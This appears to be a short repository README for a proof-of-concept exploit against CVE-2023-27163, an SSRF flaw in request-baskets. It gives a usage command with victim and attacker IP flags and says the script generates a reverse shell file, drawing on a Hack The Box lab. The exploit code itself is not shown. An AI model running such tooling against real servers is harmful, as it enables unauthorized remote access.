davuxvi/cve-2023-27163Proof-of-concept exploit for CVE-2023-27163, a Server-Side Request Forgery (SSRF) vulnerability in request-baskets up to v1.2.1. Includes automated reverse shell generation and file exposure.
PoC CVE-2023-27163, SSRF, request-baskets up to v1.2.1
Usage example
my_script.sh -i 10.10.11.111 -f 'localhost:80' -t 10.10.14.27
-i victim server IP
-f IP or address to direct connections produced by the SSRF
-t in this option goes your local IP or attacker IP, for generating the rev.sh file, expose the file.
-p if you want to set a specific port.
This script was developed based on a practical HTB lab.
